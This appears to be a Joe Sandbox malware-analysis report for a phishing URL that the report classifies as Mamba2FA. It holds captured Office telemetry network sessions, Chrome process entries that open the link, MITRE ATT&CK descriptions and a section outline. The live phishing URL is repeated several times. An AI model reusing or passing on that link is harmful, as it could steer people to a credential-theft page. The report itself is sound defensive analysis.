2024-10-24 14:05:42 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49900	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:42 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:43 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:42 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 6e18d5c3-a01e-00ab-48f4-249106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140542Z-r197bdfb6b4tq6ldv3s2dcykm800000001k000000000k3g4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:43 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49901	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:43 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:43 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:43 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 697bb720-201e-0071-0781-25ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140543Z-16849878b785dznd7xpawq9gcn00000000kg000000003f3v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:43 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49902	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:43 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:43 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:43 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 264b7e39-001e-0028-804e-22c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140543Z-16849878b78s2lqfdex4tmpp7800000007tg00000000f0tc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 14:05:43 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49903	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:43 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:43 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:43 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 94ed9306-801e-0083-6af2-24f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140543Z-15b8d89586f989rks44whx5v7s0000000e6000000000cm51 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:43 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49904	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:43 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:43 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:43 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: e081a540-501e-0035-2133-22c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140543Z-16849878b789m94j7902zfvfr000000007k000000000ph9w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:43 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Target ID:	0
Start time:	10:04:26
Start date:	24/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	10:04:27
Start date:	24/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=1952,i,14074926367511675992,18012498330361265080,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	10:04:31
Start date:	24/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Mamba2FA

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 49

Chrome Cache Entry: 50

Chrome Cache Entry: 51

Chrome Cache Entry: 52

Chrome Cache Entry: 53

Chrome Cache Entry: 54

Chrome Cache Entry: 55

Chrome Cache Entry: 56

Chrome Cache Entry: 57

Chrome Cache Entry: 58

Chrome Cache Entry: 59

Chrome Cache Entry: 60

Chrome Cache Entry: 61

Chrome Cache Entry: 62

Chrome Cache Entry: 63

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Static File Info

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N